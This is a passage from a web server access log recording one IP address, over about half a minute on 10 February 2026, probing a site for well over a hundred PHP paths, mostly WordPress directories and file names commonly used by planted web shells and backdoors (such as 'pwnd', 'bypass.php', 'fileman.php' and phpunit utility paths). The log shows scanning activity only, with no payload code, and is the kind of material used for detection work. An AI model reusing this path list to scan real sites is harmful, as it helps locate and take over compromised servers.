+0300] "GET /images/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:47 +0300] "GET /wp-includes/images/crystal/lrs_dage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:53:47 +0300] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:47 +0300] "GET /wp-includes/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:47 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:48 +0300] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:48 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:53:48 +0300] "GET /wp-includes/customize/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:49 +0300] "GET /css/fan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:49 +0300] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:49 +0300] "GET /images/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:49 +0300] "GET /wp-content/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:50 +0300] "GET /wp-admin/css/colors/ectoplasm/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:53:50 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:50 +0300] "GET /wp-includes/js/thickbox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:50 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:51 +0300] "GET /wp-content/themes/twentytwentyfour/icascreenshots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:53:51 +0300] "GET /wp-content/upgrade/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:53:51 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:51 +0300] "GET /wp-admin/css/colors/ocean/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:53:52 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:52 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:53:52 +0300] "GET /wp-includes/certificates/past.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:53:52 +0300] "GET /wp-content/uploads/2021/faiyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:53:52 +0300] "GET /css/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:53 +0300] "GET /wp-content/plugins/pwnd/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:53 +0300] "GET /wp-includes/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:53:53 +0300] "GET /wsax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:53:54 +0300] "GET /bless.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:53:54 +0300] "GET /wp-content/uploads/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:53:54 +0300] "GET /templates/beez3/dbcthbohhr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:53:54 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:53:55 +0300] "GET /wp-content/themes/tflow/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:53:55 +0300] "GET /wp-includes/css/dist/footer-default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:55 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:55 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-request.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:56 +0300] "GET /wp-content/plugins/pwnd/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:53:56 +0300] "GET /wp-includes/css/dist/edit-widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:56 +0300] "GET /wp-content/plugins/ubh/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:56 +0300] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:57 +0300] "GET /wp-includes/l10n/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:57 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:57 +0300] "GET /wp-admin/js/widgets/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:57 +0300] "GET /uploads/xsec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:53:58 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:58 +0300] "GET /wp-content/plugins/pwnd-1/kurd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:58 +0300] "GET /wp-content/themes/tflow/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:58 +0300] "GET /wp-content/languages/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:53:59 +0300] "GET /wp-content/uploads/fileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:59 +0300] "GET /wp-includes/widgets/wp-ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:59 +0300] "GET /wp-includes/IXR/xsec1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:59 +0300] "GET /admin.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:53:59 +0300] "GET /wp-admin/css/colors/hong1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:00 +0300] "GET /wp-admin/maint/byps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:00 +0300] "GET /wp-includes/images/crystal/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:54:00 +0300] "GET /wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:54:01 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:01 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:01 +0300] "GET /wp-includes/class-phpmailer-beta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:54:01 +0300] "GET /wp-includes/ms-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:54:02 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:02 +0300] "GET /wp-includes/widgets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:02 +0300] "GET /images/news_event/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:03 +0300] "GET /chosen.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:03 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:54:03 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:03 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:04 +0300] "GET /page.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:04 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:04 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:54:04 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:05 +0300] "GET /wp-content/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:05 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:05 +0300] "GET /assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:05 +0300] "GET /wp-includes/SimplePie/XML/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:06 +0300] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:06 +0300] "GET /wp-content/1.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:06 +0300] "GET /wp-admin/css/colors/blue/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:06 +0300] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:54:07 +0300] "GET /wp-includes/assets/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:07 +0300] "GET /.well-known/acme-challenge/gecko-old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:07 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:07 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:08 +0300] "GET /wp-includes/widgets/class-wp-nav-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:08 +0300] "GET /x/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:08 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:09 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:09 +0300] "GET /wp-admin/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:54:09 +0300] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:09 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:54:10 +0300] "GET /wp-includes/rest-api/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:10 +0300] "GET /wp-includes/fonts/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:10 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:54:10 +0300] "GET /wp-content/plugins/pwnd-1/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:54:11 +0300] "GET /wp-admin/js/widgets/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:54:11 +0300] "GET /wp-includes/images/smilies/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:11 +0300] "GET /wp-admin/css/colors/light/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:54:11 +0300] "GET /wp-admin/user/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:54:12 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:12 +0300] "GET /wp-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:54:12 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:12 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:54:13 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:13 +0300] "GET /wp-includes/class-wp-customize-manager-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:54:13 +0300] "GET /wp-includes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:54:14 +0300] "GET /images/fm.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:14 +0300] "GET /wp-includes/count.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:54:14 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:14 +0300] "GET /assets/class_update_plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:15 +0300] "GET /wp-admin/network/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:54:15 +0300] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:54:15 +0300] "GET /wp-admin/network/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:54:15 +0300] "GET /js/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) 